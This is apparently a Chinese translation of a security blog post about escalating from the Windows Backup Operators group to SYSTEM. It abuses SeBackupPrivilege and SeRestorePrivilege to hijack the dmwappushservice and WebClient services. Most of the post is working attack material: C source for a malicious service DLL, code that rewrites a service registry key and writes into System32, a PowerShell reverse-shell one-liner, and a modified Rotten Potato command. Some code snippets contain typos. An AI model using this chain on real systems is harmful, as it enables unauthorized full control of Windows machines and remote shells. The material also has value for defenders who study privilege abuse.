Windows内置用户组中有一个”Backup Operators(备份操作者)”。这个用户组的成员可以通过SeBackupPrivilege和SeRestorePrivilege来执行备份和还原操作,这意味着DACL(自主访问控制列表)会忽略掉类似备份和还原的操作,从而允许备份操作者备份/恢复它没有权限访问的文件——比如说System32或者受保护的注册表内容等信息。

滥用这些权限可以实现例如获得Administrator或者System权限的提权操作。

我先推荐下滥用系统Token实现Windows本地提权这篇文章,里面深入介绍了包括备份和恢复权限等一系列滥用Token实现提权的技巧。

本文的目标是利用这些服务,换一种方法实现提权。

备注:本文的测试环境是Win10和Windows Server 2016,然而涉及的技术在任意Windows版本中都可用。所有我用到的代码都在https://github.com/decoder-it/BadBackupOperator中。

首先简单的看下允许备份操作员执行某些高权限要求操作的Windows API调用。

CreateFile()

HANDLE WINAPI CreateFile(

In     LPCTSTR               lpFileName,

In     DWORD                 dwDesiredAccess,

In     DWORD                 dwShareMode,

_Inopt LPSECURITY_ATTRIBUTES lpSecurityAttributes,

In     DWORD                 dwCreationDisposition,

In     DWORD                 dwFlagsAndAttributes,

_Inopt HANDLE                hTemplateFile

);

注意这里的dwFlagsAndAttributes参数,如果把这个值设置为FILE_FLAG_BACKUP_SEMANTICS,那么按照微软的说明文件中“这个文件正在被打开或创建,以用于备份或恢复操作。系统需要确保调用的进程在具有SE_BACKUP_NAME和SE_RESTORE_NAME权限时对文件覆盖进行安全检查。”

这意味着备份操作员可以在系统的任意位置创建文件,也就是说……

RegCreateKeyEx()

LONG WINAPI RegCreateKeyEx(

  In       HKEY                  hKey,

  In       LPCTSTR               lpSubKey,

  Reserved DWORD                 Reserved,

  _Inopt   LPTSTR                lpClass,

  In       DWORD                 dwOptions,

  In       REGSAM                samDesired,

  _Inopt   LPSECURITY_ATTRIBUTES lpSecurityAttributes,

  Out      PHKEY                 phkResult,

  _Outopt  LPDWORD               lpdwDisposition

);

这个API会创建一个注册表项(如果该注册表项不存在),并返回该项的值。也就是说dwOptions的值如果设置为REG_OPTION_BACKUP_RESTORE,那么因为我们正在执行一个“恢复”操作,所以无论DACL如何设置,我们都可以添加/修改注册表项。

但是这有一个前提条件需要满足:

你需要一个交互式shell(例如cmd.exe),否则无法实现提权。

如何获得一个交互式shell就不在本文继续讨论了,之后我也会假设大家已经知道了备份操作员的登陆密码以及一个交互式桌面的权限。

那么接下来就是我的提权思路了:

先找到一个可以由普通用户启动的,具备System权限的服务,然后用我们修改过的shell服务二进制文件替换掉原本的二进制文件。

覆盖掉HKLMSYSTEMCurrentControlSetServices注册表项中的服务配置。

启动服务并成功提权。

那么接下来我需要先找到一个具备上述条件的服务,通过一番尝试候我找到了一个dmwappushservice,在windows10和windows server 2016中“Windows数据采集服务“中的一个服务。

通过下列指令,我可以列举出该服务的访问权限:

C:>sc sdshow dmwappushservice

D:(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;LCRP;;;AC)(A;;LCRP;;;IU)(A;;LCRP;;;AU)

用户有权限启动该服务,并且该服务的启动类型是手动触发启动。

和前面讨论的一样,我的想法是用自己修改的服务来替换掉正常的Windows服务。C和C#中已经有许多相关的例子了,但是在这个例子里过程稍微复杂了点:这个服务由svchost.exe启动。Svchost.exe是一个系统进程,通过动态链接库(DLL)的形式管理多个Windows服务,并通过WIN32_SHARE_PROCESS类型来标识管理的服务。

C:>sc queryex dmwappushservice

SERVICE_NAME: dmwappushservice

 TYPE : 20 WIN32_SHARE_PROCESS

 STATE : 1 STOPPED

 WIN32_EXIT_CODE : 1077 (0x435)

 SERVICE_EXIT_CODE : 0 (0x0)

 CHECKPOINT : 0x0

 WAIT_HINT : 0x0

 PID : 0

 FLAGS :

注册表中保存了相关的服务配置,其中子参数还包含了要启动的DLL名称和要调用的ServiceMain函数名称。

尽管这方面没有多少官方文档,但通过谷歌和一些尝试,我还是想办法构造了一个有效的DLL。

下面是一个最简单的源代码,通过VS2015编译成DLL。

include "stdafx.h"

 

define EXPORT comment(linker, "/EXPORT:" FUNCTION "=" FUNCDNAME)

declspec(dllexport) VOID WINAPI ServiceMain(DWORD dwArgc, LPTSTR *lpszArgv);
declspec(dllexport) DWORD WINAPI MyHandler(DWORD dwControl, DWORD dwEventType, LPVOID lpEventData, LPVOID lpContext);
SERVICE_STATUS_HANDLE   hSHandle;
SERVICE_STATUS          ServiceStatus;
void Log(char );
void Log(char
message)
{
  FILE file;
  file = fopen("c:/temp/log.txt", "a+");
  fputs(message, file);fclose(file);
}
 
BOOL APIENTRY DllMain(HMODULE hModule, 
DWORD  ul_reason_for_call,
LPVOID lpReserved)
{
  return TRUE;
}
VOID WINAPI ServiceMain(DWORD dwArgc, LPTSTR
lpszArgv)
{

pragma EXPORT

Log("service  mainn");
  DWORD   status = 0; DWORD   specificError = 0xfffffff;
 ServiceStatus.dwServiceType = SERVICE_WIN32_SHARE_PROCESS;
  ServiceStatus.dwCurrentState = SERVICE_START_PENDING;
  ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SRVICE_ACCEPT_SHUTDOWN | SERVICE_ACCEPT_PAUSE_CONTINUE; ServiceStatus.dwWin32ExitCode = 0;
  ServiceStatus.dwServiceSpecificExitCode = 0;
  ServiceStatus.dwCheckPoint = 0;
  ServiceStatus.dwWaitHint = 0;
  hSHandle = RegisterServiceCtrlHandlerW(L"dmwappushservice", (LPHANDLER_FUNCTION)MyHandler);
  if ( hSHandle == 0)
  {
    Log("Registering Control Handler failedn");
    return;
  }
  ServiceStatus.dwCurrentState = SERVICE_RUNNING;
  SetServiceStatus( hSHandle, &ServiceStatus);
  STARTUPINFO si;
  PROCESS_INFORMATION pi;
  ZeroMemory(&pi, sizeof(pi));
  ZeroMemory(&si, sizeof(si));
  si.cb = sizeof(si);
  if (!CreateProcess(L"c:\temp\rev.bat", NULL, NULL, NULL, 0, 0, NULL, NULL, &si, &pi))
     Log("CreateProcess failedn");
  return;
}
 
DWORD WINAPI MyHandler( DWORD dwControl,
DWORD dwEventType,
LPVOID lpEventData,
LPVOID lpContext)
{

pragma EXPORT

 switch (dwControl) {
  case SERVICE_CONTROL_STOP:
  case SERVICE_CONTROL_SHUTDOWN:
    ServiceStatus.dwWin32ExitCode = 0;
    ServiceStatus.dwCurrentState = SERVICE_STOPPED;
    ServiceStatus.dwCheckPoint = 0;
    ServiceStatus.dwWaitHint = 0;
    break;
  case SERVICE_CONTROL_PAUSE:
   ServiceStatus.dwCurrentState = SERVICE_PAUSED;
   break;
  case SERVICE_CONTROL_CONTINUE:
   ServiceStatus.dwCurrentState = SERVICE_RUNNING;
   break;
  case SERVICE_CONTROL_INTERROGATE:
   break;
  default:
   break;
 }
SetServiceStatus(hSHandle, &ServiceStatus);
return NO_ERROR;
}

两个导出函数分别是ServiceMain和Myhandler。在svchost.exe启动服务候,就会加载DLL并调用ServiceMain()函数,通过一系列的初始化后创建一个新的进程,这个进程将会在SYSTEM账户下执行批处理文件。

在我的测试过程中,启动服务后发现了一个Procedure not found error的报错。利用”Dependency Walker“工具进行分析后发现报错原因是修饰函数名的问题,所以我编写了对应的EXPORT指令来导出未修饰的函数,从而解决了这个问题。

通过一个可用的servicedll.dll,我可以开始下一步工作:获得一个特权Shell。这里要注意一下”dummyuser”是备份操作员组里的一个用户,不是系统管理员。

接下来用CreateRegEx()函数和CreateFile()函数,通过CreateRegEx()函数来修改ServiceDLL的入口。

 

std::string data = "c:\windows\system32\servicedll.dll";
LSTATUS stat = RegCreateKeyExA(HKEY_LOCAL_MACHINE,
"SYSTEM\CurrentControlSet\Services\smwappushsvc\Parameters",
0,NULL,REG_OPTION_BACKUP_RESTORE,KEY_SET_VALUE,NULL,&hk,NULL);
stat = RegSetValueExA(hk,"ServiceDLL",0,REG_EXPAND_SZ,(const BYTE*)data.c_str(),data.length() + 1);
if (stat != ERROR_SUCCESS)
{
printf("Failed writing key! %dn", stat);
return 1;
}
printf("Setting registry OKn");

而通过CreateFile()可以创建Windows System目录下的service.dll文件。

备注:我只是简单的复制了dll文件到一个允许写入的目录中,但为了展示CreateFile()函数可以写到任意位置,所以我在这里用System32文件夹。

define FSIZE 11777 //ugly - quick & dirty

char buf[FSIZE+1];

LPCWSTR fnamein = L"c:\temp\servicedll.dll";

LPCWSTR fnameout = L"c:\windows\system32\servicedll.dll";

HANDLE source = CreateFile(fnamein,GENERIC_READ,0,NULL,OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL,NULL);

if (source == INVALID_HANDLE_VALUE) {

printf("Error, source file not opened.");

exit(EXIT_FAILURE);

}

HANDLE dest = CreateFile(fnameout,

GENERIC_WRITE,

FILE_SHARE_WRITE,

NULL,

CREATE_ALWAYS,

FILE_FLAG_BACKUP_SEMANTICS,

NULL);

if (dest == INVALID_HANDLE_VALUE){

printf("Could not open %s file, error %dn", fname, GetLastError());

exit(EXIT_FAILURE);

}

ReadFile(source, buf, FSIZE, bytesread, NULL);

printf("Read bytes from source dll: %dn", bytesread);

WriteFile(dest, buf, bytesread, &bytedwritten, NULL);

CloseHandle(dest);

CloseHandle(source);

printf("Bytes written to dest servicedll %dn",byteswritten);

之后就是批处理脚本,一个简单的反向Shell。

powershell -nop -exec bypass -c "$client = New-Object System.Net.Sockets.TCPClient('IP',4444);$streamnt.GetStream();[byte[]]$bytes = 0..65535|%%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

通过这些步骤之后,就能看到神奇的地方了:

成功写入注册表,复制文件,启动服务并开始等待反向shell。

再深入思考下,看下其他Windows服务呢?

我在这里还发现了一个名为“WebClient”的Windows服务,它是通过特定的自定义事件,而不是由普通用户来触发启动服务的,这里我也没有深入研究官方文档,只是注意到它可以是任意自定义的事件。也就是说必须注册一个事件才能让Windows调用它。

WebClient服务在Windows10中默认安装,而Windows Server 2016中也可以手动安装,它是在普通用户发送一个webdav请求的时候自动启动的。在本地测试的时候可以设置一个简单的webdav服务(例如Python的https://github.com/mar10/wsgidav),从CMD中调用它:

c:>pushd \ip[resource]

然后你就能看到Web Client启动了。

现在运行下列命令来具体的查看这个服务内容:

C:>sc qtriggerinfo webclient
[SC] QueryServiceConfig2 SUCCESS
SERVICE_NAME: webclient
START SERVICE
CUSTOM : 22b6d684-fa63-4578-87c9-effcbe6643c7 [UUID PROVIDER ETW]

sc表明它由一个自定义触发器启动,UUID是22b6d684-fa63-4578-87c9-effcbe6643c7。

有了uuid以后可以轻松的用C/C#程序来通过程序触发任意的事件。

下面已经有了一个现成的脚本:

http://www.lieben.nu/liebensraum/2016/10/how-to-start-a-trigger-start-windows-service-with-powershell-without-elevation-admin-rights/

在我这个例子中,我没有调用webdav的链接,因为现在已经够启动脚本了。

Webclient服务也是通过svchost.exe启动的,所以我重新使用了之前的思路:同样的DLL来重新覆盖注册表项,启动触发器脚本。

可以看到它的效果,但是主要到我们的权限只是“Local Service“,一个依然受到限制的内部用户组。

但是等下,让我们来仔细看看现在的权限。

Impersonate和AssignPrimary两个Token眼熟不?还记得Rotten Potato(译者注:提权工具,详情见https://github.com/foxglovesec/RottenPotato)吗?马上就能获得SYSTEM权限了。

下面是我修改过的Rotten Potato工具(https://github.com/foxglovesec/RottenPotatoNG),执行一下它:

PS C:temp> .myrotten * c:temprev.bat

看下监听到的情况

SYSTEM权限!

总的来说我是根据seRestorePrivilege(备份操作员中的一个权限)实现提权的,相信还有更多第三方没有配置好的服务可以让你进一步尝试利用。

文章原文链接:https://www.anquanke.com/post/id/161369